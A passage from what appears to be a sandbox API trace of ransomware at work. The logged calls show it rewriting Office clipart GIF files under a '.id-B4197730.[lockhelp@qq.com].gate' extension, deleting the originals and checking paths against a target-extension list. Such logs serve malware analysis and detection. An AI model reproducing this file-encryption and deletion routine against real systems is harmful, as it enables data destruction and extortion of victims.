Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.649] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.649] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.650] GetLastError () returned 0x0 [0319.650] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x1f6, lpOverlapped=0x0) returned 1 [0319.651] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x200, lpOverlapped=0x0) returned 1 [0319.651] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.651] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.731] SetEndOfFile (hFile=0x370) returned 1 [0319.731] CloseHandle (hObject=0x370) returned 1 [0319.731] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.731] SetEndOfFile (hFile=0x36c) returned 1 [0319.732] CloseHandle (hObject=0x36c) returned 1 [0319.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00092_.gif")) returned 1 [0319.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.733] lstrlenW (lpString=".doc") returned 4 [0319.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.733] lstrlenW (lpString=".docx") returned 5 [0319.733] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.733] lstrlenW (lpString=".pdf") returned 4 [0319.733] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.733] lstrlenW (lpString=".xls") returned 4 [0319.733] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.733] lstrlenW (lpString=".xlsx") returned 5 [0319.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.733] lstrlenW (lpString=".ppt") returned 4 [0319.733] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.733] lstrlenW (lpString=".zip") returned 4 [0319.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.733] lstrlenW (lpString=".rar") returned 4 [0319.733] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString=".bz2") returned 4 [0319.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.734] lstrlenW (lpString=".7z") returned 3 [0319.734] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString=".dbf") returned 4 [0319.734] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString=".1cd") returned 4 [0319.734] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString=".jpg") returned 4 [0319.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString=".doc") returned 4 [0319.734] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.734] lstrlenW (lpString=".docx") returned 5 [0319.734] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.734] lstrlenW (lpString=".pdf") returned 4 [0319.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString=".xls") returned 4 [0319.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString=".xlsx") returned 5 [0319.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.734] lstrlenW (lpString=".ppt") returned 4 [0319.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.734] lstrlenW (lpString=".zip") returned 4 [0319.734] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString=".rar") returned 4 [0319.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.734] lstrlenW (lpString=".bz2") returned 4 [0319.734] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.735] lstrlenW (lpString=".7z") returned 3 [0319.735] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.735] lstrlenW (lpString=".dbf") returned 4 [0319.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.735] lstrlenW (lpString=".1cd") returned 4 [0319.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00092_.GIF") returned 68 [0319.735] lstrlenW (lpString=".jpg") returned 4 [0319.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.735] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.735] lstrlenW (lpString="AG00139_.GIF") returned 12 [0319.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.735] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10607) returned 1 [0319.735] CloseHandle (hObject=0x36c) returned 1 [0319.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0x220 [0319.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.736] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.736] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.736] GetLastError () returned 0x0 [0319.736] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x296f, lpOverlapped=0x0) returned 1 [0319.737] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x2970, lpOverlapped=0x0) returned 1 [0319.738] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.738] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.738] SetEndOfFile (hFile=0x370) returned 1 [0319.738] CloseHandle (hObject=0x370) returned 1 [0319.738] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.738] SetEndOfFile (hFile=0x36c) returned 1 [0319.739] CloseHandle (hObject=0x36c) returned 1 [0319.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.740] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0319.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.740] lstrlenW (lpString=".doc") returned 4 [0319.740] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.740] lstrlenW (lpString=".docx") returned 5 [0319.740] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.740] lstrlenW (lpString=".pdf") returned 4 [0319.740] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.740] lstrlenW (lpString=".xls") returned 4 [0319.740] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.740] lstrlenW (lpString=".xlsx") returned 5 [0319.740] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.740] lstrlenW (lpString=".ppt") returned 4 [0319.740] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.740] lstrlenW (lpString=".zip") returned 4 [0319.740] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.740] lstrlenW (lpString=".rar") returned 4 [0319.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString=".bz2") returned 4 [0319.741] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.741] lstrlenW (lpString=".7z") returned 3 [0319.741] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString=".dbf") returned 4 [0319.741] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString=".1cd") returned 4 [0319.741] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString=".jpg") returned 4 [0319.741] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString=".doc") returned 4 [0319.741] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.741] lstrlenW (lpString=".docx") returned 5 [0319.741] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.741] lstrlenW (lpString=".pdf") returned 4 [0319.741] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString=".xls") returned 4 [0319.741] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString=".xlsx") returned 5 [0319.741] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.741] lstrlenW (lpString=".ppt") returned 4 [0319.741] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.741] lstrlenW (lpString=".zip") returned 4 [0319.741] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.741] lstrlenW (lpString=".rar") returned 4 [0319.741] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.742] lstrlenW (lpString=".bz2") returned 4 [0319.742] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.742] lstrlenW (lpString=".7z") returned 3 [0319.742] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.742] lstrlenW (lpString=".dbf") returned 4 [0319.742] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.742] lstrlenW (lpString=".1cd") returned 4 [0319.742] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0319.742] lstrlenW (lpString=".jpg") returned 4 [0319.742] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.742] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.742] lstrlenW (lpString="AG00142_.GIF") returned 12 [0319.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.742] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=15308) returned 1 [0319.742] CloseHandle (hObject=0x36c) returned 1 [0319.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0319.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.743] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0319.743] GetLastError () returned 0x0 [0319.743] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0319.744] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0319.745] ReadFile (in: hFile=0x36c, lpBuffer=0x3c35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0319.745] WriteFile (in: hFile=0x370, lpBuffer=0x3c35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c35020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0319.746] SetEndOfFile (hFile=0x370) returned 1 [0319.746] CloseHandle (hObject=0x370) returned 1 [0319.746] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0319.746] SetEndOfFile (hFile=0x36c) returned 1 [0319.747] CloseHandle (hObject=0x36c) returned 1 [0319.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0319.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0319.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.747] lstrlenW (lpString=".doc") returned 4 [0319.747] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.747] lstrlenW (lpString=".docx") returned 5 [0319.747] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.747] lstrlenW (lpString=".pdf") returned 4 [0319.747] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.747] lstrlenW (lpString=".xls") returned 4 [0319.747] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.747] lstrlenW (lpString=".xlsx") returned 5 [0319.747] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.747] lstrlenW (lpString=".ppt") returned 4 [0319.747] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString=".zip") returned 4 [0319.748] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.748] lstrlenW (lpString=".rar") returned 4 [0319.748] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.748] lstrlenW (lpString=".bz2") returned 4 [0319.748] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.748] lstrlenW (lpString=".7z") returned 3 [0319.748] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString=".dbf") returned 4 [0319.748] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString=".1cd") returned 4 [0319.748] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString=".jpg") returned 4 [0319.748] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.748] lstrlenW (lpString=".doc") returned 4 [0319.748] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0319.748] lstrlenW (lpString=".docx") returned 5 [0319.748] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0319.748] lstrlenW (lpString=".pdf") returned 4 [0319.748] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0319.748] lstrlenW (lpString=".xls") returned 4 [0319.748] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0319.748] lstrlenW (lpString=".xlsx") returned 5 [0319.748] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0319.749] lstrlenW (lpString=".ppt") returned 4 [0319.749] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0319.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.749] lstrlenW (lpString=".zip") returned 4 [0319.749] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0319.749] lstrlenW (lpString=".rar") returned 4 [0319.749] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0319.749] lstrlenW (lpString=".bz2") returned 4 [0319.749] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0319.749] lstrlenW (lpString=".7z") returned 3 [0319.749] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0319.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.749] lstrlenW (lpString=".dbf") returned 4 [0319.749] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0319.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.749] lstrlenW (lpString=".1cd") returned 4 [0319.749] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0319.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0319.749] lstrlenW (lpString=".jpg") returned 4 [0319.749] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0319.749] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0319.750] lstrlenW (lpString="AG00154_.GIF") returned 12 [0319.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0319.750] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=5315) returned 1 [0319.750] CloseHandle (hObject=0x36c) returned 1 [0319.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0319.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 